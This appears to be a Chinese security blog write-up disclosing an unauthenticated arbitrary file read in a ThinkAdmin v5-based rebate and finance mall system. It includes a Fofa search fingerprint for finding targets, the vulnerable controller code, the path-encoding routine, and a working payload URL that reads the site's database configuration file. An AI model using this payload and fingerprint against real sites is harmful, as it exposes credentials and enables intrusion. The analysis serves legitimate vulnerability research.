某返佣理财商城系统存在前台任意文件读取漏洞

某返佣理财商城系统存在前台任意文件读取漏洞

原创 Mstir 星悦安全 2024-10-03 12:11

点击上方
蓝字关注我们 并设为
星标

0x00 前言

**这完美运行的返佣商城、分销商城和理财商城开源代码,拥有详细的教程和Vue代码脚本。进行了测试,前台和后台的显示都非常正常,没有出现任何问题。

Fofa指纹:”css/chunk-vendors.5802e0af.css”


0x01 漏洞分析

访问后台,发现使用的是框架实际是Thinkadmin 版本是v5,网上是有公开的历史漏洞的,不过和网上的些许不同.

在 /application/admin/controller/api/Update.php 控制器中read方法存在file_get_contents函数,且$encode可控,并未有鉴权操作,导致任意文件读取.

public function read($encode)
{
    $this->file = env('root_path') . decode($encode);
    echo decode($encode);
    if (file_exists($this->file)) {
      $this->success('读取文件成功!', [
         'format'  => 'base64',
          'content' => base64_encode(file_get_contents($this->file)),
          ]);
    } else {
      $this->error('获取文件内容失败!');
    }
  }

不过这里decode调用的是 /vendor/zoujingli/think-library/src/tools/Crypt.php 中的方法

class Crypt
{
  /**
     * UTF8字符串加密
     * @param string $string
     * @return string
     */
  public static function encode($string)
{
    list($chars, $length) = ['', strlen($content = iconv('UTF-8', 'GBK//TRANSLIT', $string))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($content[$i]), 10, 36), 2, 0, 0);
    return $chars;
  }
  /**
     * UTF8字符串解密
     * @param string $encode
     * @return string
     */
  public static function decode($encode)
{
    $chars = '';
    foreach (str_split($encode, 2) as $char) {
      $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
  }

所以我们也需要创建一个locd方法调用encode方法去给要读取的文件路径加密一下


将./config/database.php 加密一下 就变成下面这一串加密的字符

0x02 漏洞复现

Payload:

/index.php?s=/admin/api.update/read?encode=1a1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34

解码出来是Base64,可以去 https://www.toolhelper.cn/EncodeDecode/Base64 解密

其他的站我试了一下不太能直接解密,需要先删掉一些字符.

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转

商城系统源码关注公众号发送 241003 获取!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!